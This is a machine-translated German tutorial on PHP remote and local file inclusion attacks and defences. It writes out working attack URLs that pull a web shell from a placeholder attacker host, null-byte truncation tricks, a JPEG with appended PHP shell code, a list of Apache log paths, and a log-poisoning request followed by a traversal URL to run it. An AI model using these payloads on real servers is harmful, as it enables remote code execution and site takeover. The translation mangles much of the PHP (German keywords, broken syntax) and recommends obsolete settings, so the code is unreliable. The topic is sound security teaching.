This page has been robot translated, sorry for typos if any. Original content here.

PHP-Include- und Schutzmethoden



  • Globale Inklusion
  • Schutz vor globalen Einschlüssen
  • Lokale Inklusion
  • Protokolliert Apache
  • Schutz vor lokalen Einschlüssen


  • Einleitung

    Globale Inklusion

    Die gefährlichsten Schwachstellen im Internet sind leider oder zum Glück extrem selten in unserer Zeit. Für einen Angriff muss die Funktion allow_url_include aktiviert sein, d. H. "Ein".
    Die Sicherheitsanfälligkeit ermöglicht es einem Angreifer, beliebigen PHP-Code auf dem Server auszuführen.
    In PHP gibt es vier Funktionen zum Einfügen von Dateien in PHP-Skripts:

    * include ();
    * include_once ();
    * erfordern ();
    * requir_once ().

    Die include () - Funktion enthält den Inhalt der Datei im Skript. Betrachten Sie ein Beispiel eines "doppelten" anfälligen Codes:
      <? php
     
      if ( $ _GET [ 'page' ]. '.php' )
     
      {
     
      include ( $ _GET [ 'page' ]. '.php' );
     
      }
     
      sonst
     
      {
     
      include ( $ file . '.php' );
     
      }
     
      ?>
    
    
    Unter Verwendung der Bedingung überprüfen wir, ob das Element $ _GET ['page'] per URL an den Server übergeben wird. Dann rufen wir die Funktion include () auf . Da der Wert des $ _GET ['page'] - Arrays nicht auf Existenz geprüft wird, kann ein Angreifer einen Angriff mit der Funktion file_exists () ausführen:

    http://site.ru/index.php?page=http://hack.ru/shell Ansonsten schließen wir include ($ file. '. php') ein. Es ist die gleiche Situation, nur das Schreiben des Codes ist etwas anders. Variable $ file nicht
    Es gab einen bestimmten frühen und ein Angreifer konnte PHP-Code aus der Ferne ausführen:
    http://site.ru/index.php?file=http://hack.ru/shell Die Funktion include_once () ist fast die gleiche Funktion wie include () , mit einer Ausnahme: Bevor eine Datei in ein Programm aufgenommen wird, wird nicht geprüft ob es früher aufgenommen wurde. Wenn die Datei bereits enthalten ist, wird der Aufruf von include_once () ignoriert. Wenn dies nicht der Fall ist , wird die Datei standardmäßig eingefügt .

    <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    In diesem Beispiel wird die Erweiterung '.gif' automatisch der zu ladenden Datei zugewiesen.
    Es gibt zwei Möglichkeiten, die Erweiterung '.gif' loszuwerden:
    1) Wenn magic_quotes_gpc = Off ist, können Sie "toxische Null" -% 00 verwenden, wodurch die Erweiterung abgeschnitten wird
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) auch wenn magic_quotes_gpc = On ist
    http://site.ru/index.php?file=http://hack.ru/shell.php? Die Funktion requir () ähnelt include () , mit der Ausnahme von one. Die durch den Parameter requir () angegebene Datei wird unabhängig vom Speicherort des Requires () in das Skript aufgenommen.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    Angriff ist ähnlich, aber in diesem Fall wird die Erweiterung nicht zugewiesen:
    http://site.ru/index.php?page=http://hack.ru/shell.php Die Funktion required_once () lädt eine Datei nur einmal in ein Skript.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    Angriff ist ähnlich ...

    Betrachten Sie nun eine andere Option, einschließlich. Dieses Mal ist es notwendig, dass in der php.ini-Datei
    Der Wert des Parameters allow_url_fopen war On (Standardeinstellung).
    PHP-Code:
      <? php
     
      $ f = fopen ( "$ file.php" , "r" );
     
    
      while (! feof ( $ f ))
     
      {
     
      $ s = fgets ( $ f , 255 );
     
      Echo $ s ;
     
      }
     
    
      fclose ( $ f );
     
      ?>
    
    
    Aufgrund der Tatsache, dass die Variable $ file nicht zuvor definiert wurde, kann ein Angreifer einen Angriff durchführen:
    http://site.ru/index.php?file=http://hack.ru/shell Als Ergebnis erhalten wir wieder die Web-Shell.

    Im folgenden Beispiel wird die Funktion readfile () verwendet .
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    Die Funktion readfile () liest eine Datei, deren Name als Parameter an sie übergeben wird, und zeigt ihren Inhalt auf dem Bildschirm an.
    Als Ergebnis erhalten wir wieder die Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell Betrachten Sie nun diese Option:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    Mit der Funktion implode () kombinieren wir die Elemente des Arrays zu einer Zeichenfolge, und mit der Funktion file () erhalten wir den Inhalt der Datei als Array. Als Ergebnis haben wir wieder eine Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Schutz vor globalen Einschlüssen

    Natürlich können Sie die Datei mit der Funktion file_exists () auf Existenz prüfen und unerwünschte Zeichen mit str_replace () herausfiltern. Ich empfehle jedoch die Verwendung des Befehls switch case :

      <? php
     
      globale $ page ;
     
      wechseln ( $ page )
     
      {
     
      Fall '' :
     
      include ( "pages / main.php" );
     
      brechen;
     
    
      Fall 'Index' :
     
      include ( "pages / main.php" );
     
      brechen;
     
      Fall 'Seite1' :
     
      include ( "pages / folder / page1.php" );
     
      brechen;
     
      Fall 'Seite2' :
     
      include ( "pages / folder / page2.php" );
     
      brechen;
     
    
      Standard:
     
      include ( "pages / hack.php" );
     
      brechen;
     
      }
     
      ?>
    
    
    Ich empfehle auch die php.ini-Datei zu bearbeiten :

    allow_url_include = Aus // Fernaktivierung von Dateien verhindern
    allow_url_fopen = Off // Erlaube nicht, dass Fopen Links öffnet
    register_globals = Off // Deaktivierung der Initialisierung globaler Variablen
    safe_mode = Ein // schalte safe_mode ein (der Hacker hat keinen Zugriff auf / etc / passwd und dergleichen)

    Lokale Inklusion

    Nicht weniger gefährliche Sicherheitslücke im Web. Ermöglicht einem Angreifer, auf dem Server liegende Dateien einzuschließen. Viele Neuankömmlinge sehen sich mit diesem Fehler konfrontiert, Webcodierung wirft den Fall ein, weil sie nicht wissen, wie sie vorgehen soll und in welche Richtung sie graben sollen. Ich werde ein allgemeines Beispiel geben:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    Global wird es nicht funktionieren, da die Variable $ file nach dem Verzeichnis / include / zugewiesen wird
    Was kann man machen?

    Das Ideal ist der Fall, wenn es sich bei der Site entweder um ein Forum oder ein anderes Formular handelt, mit dem Sie Dateien mit beliebigen Erweiterungen herunterladen können.
    Die Frage stellt sich - warum mit irgendeiner Erweiterung? Nehmen Sie zum Beispiel eine fiktive Website, auf der Sie Avatare über das Forum hochladen können. Es gibt ein Skript im Forum, das überprüft, ob der Benutzer das Foto tatsächlich hochgeladen hat? Öffnen Sie die Farbe und speichern Sie ein beliebiges Bild beispielsweise im JPG-Format. Danach öffnen Sie es mit einem Notizblock und nach dem Bildcode schreiben wir <? Php include ("http://hack.ru/shell.php"); ?> Als Ergebnis bekommen wir so etwas:
    			
     JASHA JFIF `` CLEAR C           		 
     
    
                     $. '  ", # (7), 01444 '9 = 82 <.342 ° C 			  
    
      2!  ! 222222222222222222222222222222222222222 22222яА 6 6 "gift                    	
      gift µ}! 1A Qa "q 2Ѓ'Ў # B ± B R $ 3br‚	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ …… † ‡ ‰ ”” ”” Ґ Ґ Ґ Ґ Ґ Ґ Ґ Ґ Ґ Ґ Г Г Г Г Ё Ё Ё Ё © © © © © ©                       	
      Vergiftung u w! 1 AQ aq "2Ѓ B'Ў ± B # 3Rр brС
    
      $ 4b% mit & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz „ÖÖ † Ã ‰ ‰ Љ • • - • Љ • • •” ”” ”” ”” ”” ”” ”” ”” ґ  chj (Ђ €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
    
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (ў €
     (BOÑ KASTEN
     <? php include ("http://hack.ru/shell.php");  ?>
    
    Nun kann dieses Bild in das Forum hochgeladen werden und wird genau als Bild wahrgenommen.
    Kehren wir zur Frage der Expansion zurück. Warum mögen wir welche? Tatsache ist, dass die include () - Funktion
    lädt Code aus einer Datei in eine ausführbare Datei. Hier ist ein Beispiel:
    http://www.site.com/index.php?include=../forum/images/shell.jpg Als Ergebnis kann der Code <? php enthalten ("http://hack.ru/"). shell.php "); ?>

    Protokolliert Apache

    Apache speichert bekanntermaßen die Protokolldateien httpd-access.log und httpd-error.log sowie alle Anforderungen.
    natürlich protokolliert und in die entsprechenden Dateien geschrieben. Hier ist ihre ungefähre Lage:
     /logs/error.log
     /logs/access.log
    
     / logs / error_log
     / logs / access_log
    
     / var / log / error_log 
     / var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / var / www / logs / error_log
     /var/www/logs/error.log
    
     / var / www / logs / access_log
     /var/www/logs/access.log
    
     / var / log / apache / Fehlerprotokoll
     /var/log/apache/error.log
     / var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / var / log / httpd / fehlerprotokoll
     / var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / apache / logs / error_log
     / apache / logs / access_log
    
     / usr / local / apache / logs / error_log
     /usr/local/apache/logs/error.log
    
     / usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / home / www / logs / error_log
     /home/www/logs/error.log
     / home / www / logs / access_log
     /home/www/logs/access.log
    
    Ich werde auf lokalkhost ein Beispiel geben, ich denke, viele werden klarer sein. Mit dem InetCrack- Programm sende ich ein Paket mit folgendem Inhalt:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    Der Paket-Header wird in den Apache-Protokollen aufgezeichnet.
    Z:\usr\local\apache\logs\access.log folgende Zeile wird in diese Datei geschrieben:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 Ich denke, das Wesentliche ist klar. Es bleibt uns, ihn zu neigen:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log Und erhalten Sie eine Web-Shell :)

    Schutz vor lokalen Einschlüssen

    Hier ein kleines Beispiel, wie Sie sich zuverlässig schützen können:
      <? php
     
    


    Funktion stripslashes_for_array (& $ -Array )
    {
    reset ( $ array );
    while (Liste ( $ key , $ val ) = jedes ( $ -Array ))
    {
    if ( is_string ( $ val )) $ array [ $ key ] = striplashes ( $ val );
    elseif ( is_array ( $ val )) $ array [ $ key ] = striplashes_for_array ( $ val );
    }
    return $ array ;
    }

    if (! get_magic_quotes_gpc ())
    {
    stripslashes_for_array ( $ _POST );
    stripslashes_for_array ( $ _GET );
    }

    if (isset ( $ _GET [ 'file' ])) $ file = $ _GET [ 'file' ];
    sonst
    {
    if (isset ( $ _POST [ 'file' ])) $ file = $ _POST [ 'file' ]; else $ file = "' ; } $ file = str_replace ( '/' , '' , $ file ); $ file = str_replace ( '.' , '' , $ file ); if (! file_exists ( "include" . '/' . $ file . '.php' ) || $ file == 'index' ) { $ file = 'news' ; } include ( "include" . '/' . $ file . '.php' ); ?>

    Und was passiert hier? Jedes Element des Arrays wird von der Funktion striplashes () geprüft. Sie tötet Backsleshi. Prüfen Sie als Nächstes, ob der Wert des Array-Elements festgelegt ist oder nicht. Ungültige Zeichen (' / ', ' . ') Herausfiltern Mit der Funktion str_replace () . Wenn die Datei nicht vorhanden ist (mit der Funktion file_exists () prüfen), weisen Sie den Wert der Variablen $ file = 'news' zu. In anderen Fällen (wenn die Datei existiert) schließen wir sie ein.